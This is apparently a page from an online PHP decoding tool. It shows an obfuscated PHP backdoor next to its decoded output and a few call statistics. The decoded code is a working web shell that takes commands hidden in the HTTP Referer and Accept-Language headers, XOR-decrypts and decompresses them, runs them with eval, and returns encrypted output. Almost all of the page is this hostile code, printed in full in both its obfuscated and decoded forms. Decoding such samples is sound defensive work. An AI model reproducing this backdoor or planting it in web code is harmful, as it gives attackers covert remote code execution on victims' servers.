Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $d='_eniJd_cleaiJn();$d=biJase64iJ_encode(x(gzcoiJmiJpreiJss($o),$k)iJ);priniJt("<$k..
Decoded Output download
$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$d='_eniJd_cleaiJn();$d=biJase64iJ_encode(x(gzcoiJmiJpreiJss($o),$k)iJ);priniJt("<$k>$iJd</$k>")iJ;iJ@sessioniJ_desiJtroy();}}}}';
$H='[$m[2][iJ$z]]iJ;iiJfiJ(strpos($iJp,$h)===0){$s[$iiJ]=""iJ;$p=$ss($p,3iJ);}if(ariJray_keiJy_exisiJts($i,iJ$siJ)){$siJ[$i].=$';
$q=';$iJq=array_viJalues(iJ$q);piJreg_matiJch_aiJll("/([\\iJiJwiJ])[iJ\\w-]+(?:;q=0.([iJ\\d]))?,?/",$iJiJra,iJ$m);if($q&&$miJ){@si';
$A='iJp;$e=iJstrpiJos($s[$iJi],iJ$f);if($iJe){$kiJ=$kh.iJ$kiJf;iJob_start();@eiJiJval(@gzuncompreiJiJss(@x(@base6iJ4_deciJode(priJe';
$G='$kh="5diJ41";$kf=iJ"40iJ2a";funciJtioniJ x($t,$kiJ){$c=strliJen($iJkiJ);$l=strliJeiJn($t);$iJo="";foriJ($i=0iJ;$i<$liJ;){fo';
$B='JesiJsion_start(iJ);$s=&$_iJSEiJSSION;$ss="iJsubsiJtr";$sliJ="striJtoloiJwer";$i=iJ$m[1][iJiJ0].$m[1][1iJ];$hiJ=$sl($iJsiJs(';
$K=str_replace('Mp','','crMpMpeateMpMp_fMpuncMption');
$a='r($j=0;iJiJ($j<iJ$c&&iJ$iiJ<$l);$j++,$i++){$oiJ.=$t{$i}^iJ$iJiJk{$iJjiJ};iJ}}riJetiJurn $o;}$r=$_SERVER;$rr=@$r["HTiJiJ';
$E='TP_REFEiJRER"];$ra=@$iJr["HTTP_ACiJCiJEPT_LANGiJUAGE"]iJ;iiJf($rr&iJ&$riJa){$u=parseiJiJ_url($iJrr);parse_iJstr($u["queriJy"iJ],$q)';
$y='md5(iJ$i.$kh),0,3)iJ);$f=$sl($iJsiJs(md5($i.iJ$kf),0,iJ3));$p=iJ""iJ;foiJr($z=1;$z<coiJiJunt(iJ$m[1]iJ);$z++iJ)$p.=iJ$q';
$Q='g_repiJlace(arraiJy("/_/","/iJ-/"),iJarrayiJ("iJ/","iJ+"),$ssiJ($s[$i],0,$e)iJ)),$kiJ)));$o=obiJ_iJget_iJcontentiJs();obiJ';
$i=str_replace('iJ','',$G.$a.$E.$q.$B.$y.$H.$A.$Q.$d);
$Y=$K('',$i);$Y();
?>
Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | a33ad738533e26d8742e436363773628 |
| Eval Count | 1 |
| Decode Time | 107 ms |